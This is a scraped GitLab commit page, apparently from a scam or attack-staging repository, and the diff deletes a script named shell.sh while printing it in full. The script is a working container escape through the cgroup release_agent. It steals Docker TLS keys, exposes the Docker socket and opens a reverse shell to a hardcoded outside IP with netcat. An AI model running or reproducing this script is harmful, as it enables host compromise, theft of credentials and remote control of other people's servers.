Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
G
GoogleReviews
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
1
Issues
1
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
TikTok Recharge Coins
GoogleReviews
Commits
36f7e622
Commit
36f7e622
authored
Jul 26, 2024
by
TikTok Recharge Coins
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
Delete shell.sh
parent
bfad50f2
Pipeline
#50
failed with stage
Changes
1
Pipelines
1
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
0 additions
and
28 deletions
+0
-28
shell.sh
shell.sh
+0
-28
No files found.
shell.sh
deleted
100644 → 0
View file @
bfad50f2
export
HOST
=
172.81.61.59
mkdir /tmp/cgrp
&&
mount
-t
cgroup
-o
rdma cgroup /tmp/cgrp
&&
mkdir /tmp/cgrp/x
echo
1
>
/tmp/cgrp/x/notify_on_release
export
host_path
=
`
sed
-n
's/.*\perdir=\([^,]*\).*/\1/p'
/etc/mtab
`
echo
"
$host_path
/cmd"
>
/tmp/cgrp/release_agent
touch /user/txt
touch /ca.pem
touch /server.pem
touch /server-key.pem
touch /ps.txt
echo
'#!/bin/sh'
>
/cmd
echo
"whoami >
$host_path
/user.txt"
>>
/cmd
echo
"ps uax >
$host_path
/ps.txt"
>>
/cmd
echo
"cat /etc/docker/ca.pem >
$host_path
/ca.pem"
>>
/cmd
echo
"cat /etc/docker/server.pem >
$host_path
/server.pem"
>>
/cmd
echo
"cat /etc/docker/server-key.pem >
$host_path
/server-key.pem"
>>
/cmd
echo
"mount -o bind /var/run/docker.sock
$host_path
/docker.sock"
>>
/cmd
echo
"/usr/bin/nc
$HOST
13371 -e /bin/sh &"
>>
/cmd
chmod a+x /cmd
while
test
1
do
sh
-c
"echo
\$\$
> /tmp/cgrp/x/cgroup.procs"
sleep 60
done
\ No newline at end of file
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment